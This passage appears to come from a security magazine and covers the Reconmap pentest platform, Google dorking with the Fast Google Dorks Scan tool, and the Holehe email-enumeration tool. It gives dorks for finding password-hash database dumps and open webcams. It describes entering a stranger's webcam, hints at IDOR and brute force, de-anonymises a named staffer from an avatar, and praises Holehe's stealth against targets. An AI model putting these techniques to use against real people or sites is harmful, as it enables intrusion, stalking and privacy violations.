from small user and developer experience improvements (UX and DX) and bug fixes, to larger stories such as adding multi-
lingual vulnerability support, new report formats, an improved mobile client, to name a few.

Some other exciting features coming are the machine learning algorithms that would automatically suggest vulnerability
categories and scores based on the thousands of existing vulnerabilities available today on public databases. This feature
that is expected to be available in the last quarter of 2021 will contribute to Reconmap’s goal of streamlining the pentesting
process for all.

86
 Streamlining the Pentesting Process with Reconmap

Getting started

There are two easy ways to get started with Reconmap. The first one is cloning our Github repository and using docker com-
pose to launch the many services that make up Reconmap. This will leave a fully functional application with database, API,
web client and agent all running on your machine or server in a few easy steps.

git clone https://github.com/reconmap/reconmap.git 


cd reconmap 

docker-compose up -d 

firefox http://localhost:3001 # Replace firefox with any browser command installed

An alternative to this, which is better tailored to companies who don’t want to think about installs, upgrades and general
troubleshooting, is to use our SaaS offering. For a modest monthly subscription, teams can create projects online securely
and collaborate from anywhere in the world with ease and speed.

Conclusion

Making a living as a penetration tester can be more tedious, repetitive, and unexciting than doing it to challenge our own
abilities as hackers, but it does not need to be that way. Pentesting automation and collaboration platforms such as Recon-
map take the burden away and simplify the process so much that infosec pros can spend more time hacking, and less time
reporting. This shift in time allocation means that we can offer more value to the customers, increasing our margins and ul-
timately making the network a safer place. Win, win, win.

On the Web:

1. https://reconmap.org (community and docs)

2.https://reconmap.com (SaaS)

3. https://github.com/reconmap/reconmap (code)

4.https://twitter.com/reconmap

5. https://youtube.com/reconmap

87
 Streamlining the Pentesting Process with Reconmap

About the Author

Santiago Lizardo
Santiago is a software engineer and entrepreneur who for over 20 years has been delivering value to
users through the development of software. He has developed everything from software for embed-
ded devices, to games in multiple platforms and corporate software for the desktop and the web. He
is a contributor to many well known open source projects such as PHP and Blender, and has pub-
lished dozens of his own open-source projects. Reconmap is the creation that as of today makes
him feel proudest. https://github.com/santiagolizardo

88
FAST GOOGLE DORKS SCAN
by Ivan Glinkin
 Fast Google Dorks Scan

“Enumeration is the key” – that’s the main tagline of the Offensive Security Certified Professional certification1. Indeed, as a
statistic says, more than half of all successful hacks were performed after a great reconnaissance. Moreover, that’s the first
step every cyber kill chain starts with. In this article, we will reveal the reconnaissance stage using one of the most useful
applications – Fast Google Dorks Scan.

Google dorks

If you are an OSINT professional, or cyber security enthusiast with at least a year of experience, you already know or at
least heard about Google dorks. If so, I will repeat, otherwise:

Google hacking, also named Google dorking, is a hacker technique that uses Google Search and other Google applications to
find security holes in the configuration and computer code that websites are using2.

How does it work? In a nutshell, Googlebot goes through the internet and saves all the web-pages to its database, sorting by
the categories.

Web-site Title Text Date Filetype

website1.com Hack tools Lorem ipsum dolor sit amet, 01.07.2021 php
consectetur adipiscing elit, sed
do eiusmod tempor incididunt
ut labore et dolore magna
aliqua.
Website2.com Avatar - 13.10.2020 jpg

After that, a researcher, using the prepared commands, gets the data from the specific database’s tables. A search query
with “site:*ru filetype:sql $6$“ would locate all SQL files from the RU domains that contain $6$ (password with
the SHA-512 encryption) text.

As you can see, we successfully found the database’s dump with an admin hashed password. Because admins of small web-
sites do not change their passwords regularly, I bet, if we can decrypt the hash, we will get into the CMS under the admin
privileges.

90
 Fast Google Dorks Scan

Another useful search is the following: “intitle:IP Webcam" inurl:"/greet.html" which will list web-servers with
online webcams.

Let’s check that out.

Perfect, we succeeded in getting access to a personal webcam. Moreover, there is a dashboard, which means we can control
the device. And the crucial thing is there's no password there at all, consequently any person, across the globe, can do what-
ever he/she wants.

91
 Fast Google Dorks Scan

Your next question may be: “Is there any list or database of such dorks I may use?” Our answer is “yes”.

There is a huge list of preset dorks on the “Exploit database” website3, which has collected them since Google was devel-
oped. There are at least 6,910 dorks by the date this article was written.

1. Dork operators4

Using preset dorks is interesting, but what if they do not fit our aims. Let’s go further and try to understand how to prepare
dorks for our personal purposes.

We will start with SITE: operator. This specific operator tells Google that you want to get the information only from the de-

fined web-site. Let’s try to find information on hakin9 website:

site:hakin9.org

92
 Fast Google Dorks Scan

Indeed, when we perform an audit, we do it for the customer with his local network, enterprise and other assets. Other re-
sources will disturb us. To limit the output, SITE: is the perfect choice.

The next one is FILETYPE: operator, so search results will only be of this file type. Let’s try to find any text files on our test-
ing web-site:

site:hakin9.org filetype:txt

Even the simple TXT output tells us the site is hosted on WordPress CMS and prohibits any search bots from harvesting
any information from the resource.

Let’s go for INURL: operator, which allows us to search for a specific word within the URL. We already know that Hakin9 is

under the WordPress CMS, so let’s find the wp-content links. In spite of the Googlebot being prohibited, who knows,
maybe it’s ignoring the robots.txt rules.

site:hakin9.org inurl:wp-content

93
 Fast Google Dorks Scan

Not too much but it works. How could it be?

2. Google dorks automation

Google dorks are powerful stuff, especially when you know how to deal with that properly. But performing that manually is
time consuming and, to be honest, quite boring. Why do you think there is an application to save your time and automate
the search?

“Fast Google Dorks Scan”5 by Ivan Glinkin is an open-source application made in a “one button” manner so you do not have
to set any arguments or know how it works. All you have to do is launch the app and set the web-site.

Let’s figure out what each line means.

First of all, let’s preset the dorks: login pages, file types and directory traversal.

94
 Fast Google Dorks Scan

Then we check if the user has input the domain. If not, we exit.

After that, there is the heart of our app – search function:

95
 Fast Google Dorks Scan

Our program is set to get only the first three Google results pages, so we set 0, 10 and 40 as a starting point.

Then we perform a request to Google and save the response in the QUERY variable.

After that we check if Google banned us (“Google thinks you are the robot and has banned you;) How dare he? So, you have
to wait some time to unban or change your ip!”).

If we are free to go, we check the response. If there is no information, we break the loop and move further to the next opera-
tor. If there is at least one result, we sort them and remove the duplicates.

The last thing the program has to do is perform a search.

96
 Fast Google Dorks Scan

3. Exploitation

For the test, let’s try to scan the haking9.org domain with the FGDS app.

97
 Fast Google Dorks Scan

Excellent. Now it’s time to check each link the application gave us.

We will start with PowerPoint Presentation file6.

Seems like it’s a wireless hacking course. I don’t know if it’s free or not, but we may freely download it and learn something.

What’s next? I would suggest the member link7.

98
 Fast Google Dorks Scan

What good news. I assume we found a valid link for user enumeration. What about an IDOR8 -
https://hakin9.org/members/{IDOR}? We will leave it to you as homework ;)

But, if we combine it with the login page, password brute force is the next step for the possible attacker.

99
 Fast Google Dorks Scan

And the last for today – Avatar from uploads9.

Hm, interesting. Let’s try a simple Google search of the photo.

100
 Fast Google Dorks Scan

Hello Marta, how are you? Hope you and your family are doing well.

As you can see, we have successfully found Marta Sienicka, the Product Manager at Hakin9 Magazine.

4. Conclusion

Having considered all the arguments above, we may conclude that reconnaissance, as a first stage of any penetration test, is
crucial. The right application you choose to find the information will reveal gaps and give you some tips for successful pene-
tration; consequently, the last thing you have to do is to use that properly. “Enumeration is the key”.

5.Resources:

[1] https://www.offensive-security.com/ 

[2] https://en.wikipedia.org/wiki/Google_hacking

[3] https://www.exploit-db.com/google-hacking-database

[4] https://www.google.com/advanced_search

[5] https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan

[6] https://hakin9.org/wp-content/uploads/2017/04/H9_W31_M3_Slides.pptx

[7] https://hakin9.org/members/test/

101
 Fast Google Dorks Scan

[8] https://portswigger.net/web-security/access-control/idor

[9] https://hakin9.org/wp-content/uploads/avatars/95072/2a0d8fa317d4e0ad6fb27420f120b3d9-bpthumb.jpg

About the Author

Ivan Glinkin
8+ years combined operational work experience in penetration tests of enterprise networks and web application, physical
social engineering and escalating the privileges.

As a member of the Enterprise Security and Risk Team, I conduct enterprise wide security risk assessments by infiltrating
its systems and breach its physical perimeters. This highlights gaps in the organization’s technical security that require fix-
ing as well as being involved in executing the security awareness plan.

Knowledge of Bash Scripting, PHP, SQL, Python and C-based program languages allows me to create my own applications
for automation and optimization company’s security.

Passed both the CEH knowledge-based MCQ and the CEH Practical exam on 92,8% and 90% respectively allowed me to be-
come the TOP 10 in the World Global Ethical Hacking LeaderBoard!

I am the offensive security and my goal does not end at gaining full access – that is only a starting point.

Feel free to ping me by one of these ways:

• https://www.linkedin.com/in/ivanglinkin

• https://www.facebook.com/i.glinkin

• ivan.o.glinkin@gmail.com

102
HOLEHE
by Megadose
 Holehe

Introduction

It has long been possible to manually check if an email is registered with a given site, using the "Register" or "Forgotten
Password" functionality. The problem is that to get meaningful intelligence from this process, it needs to be done rapidly, at
scale - which is impractically time consuming.

I built Holehe to solve this problem. Holehe also pulls other information that can be gleaned from the standard widespread
account management implementation - for example, obfuscated phone numbers, emails and avatars that get revealed as a
part of the process.

It seems unlikely that the way registration flows are done on a fundamental level will change in the next few years. So long
as this is the case, holehe will remain the core tool for garnering intelligence from this system.

Platforms

Holehe currently has more than 120 different sites, the most famous are Instagram, Twitter, Snapchat... the complete list is
available on the github that you can find here.

104
 Holehe

Installation

The installation of holehe is made to be as simple as possible, you just have to install Python and then simple pip install
holehe.

105
 Holehe

Stealth

Holehe does not alert the target, even on sites where the forgotten password function is triggered. This point has been key
to adoption in the OSINT community and usage in assessing dangerous or easily spooked targets.

This methodology can be applied to many sites and it can be very powerful by combining it with other tools like toutatis
(https://github.com/megadose/toutatis) for Instagram.

Holehe can also be combined with static enrichment to find a professional email; in fact, if you have the name and surname
of your target, by trying several patterns, for example, if we know that emails are composed of firstname@domain.com

106
 Holehe

Accounts from Phone Numbers

Ignorant is another tool I built that works on the same principle as holehe, but takes in phone numbers instead of emails.
We'll be looking to expand the number of sites covered by Ignorant in future.

Advanced use

One of the advanced uses of holehe which is very practical is that holehe is a program but the way it has been developed al-
lows it to be used as a very simple Python library.

107
 Holehe

Module Output

For each module, data is returned in a standard dictionary with the following json-equivalent format:

{

"name": "example", 

"rateLimit": False, 

"exists": True, 

"emailrecovery": "ex****e@gmail.com", 

"phoneNumber": "0*******78", 

"others": None 

}

rateLimit: Lets you know if you've been rate-limited.

exists: If an account exists for the email on that service.

emailrecovery: Sometimes partially obfuscated recovery emails are returned.

phoneNumber: Sometimes partially obfuscated recovery phone numbers are returned.

others: Any extra info.

108
 Holehe

Example

Let's take an example; if you want to check a list of emails on Twitter and Instagram, you can do it very simply.

109
 Holehe

The only real limit to using holehe is your imagination!

110
 Holehe

Conclusion

Holehe is a versatile tool that can be installed in a few seconds, it is ready to use and requires no configuration. Its great
modularity allows you to meet all your needs and, most importantly, it is free and open source (don't hesitate to make a do-
nation.)

About the Author

Megadose
OSINT & Cybersecurity enthusiast, loves open source.

111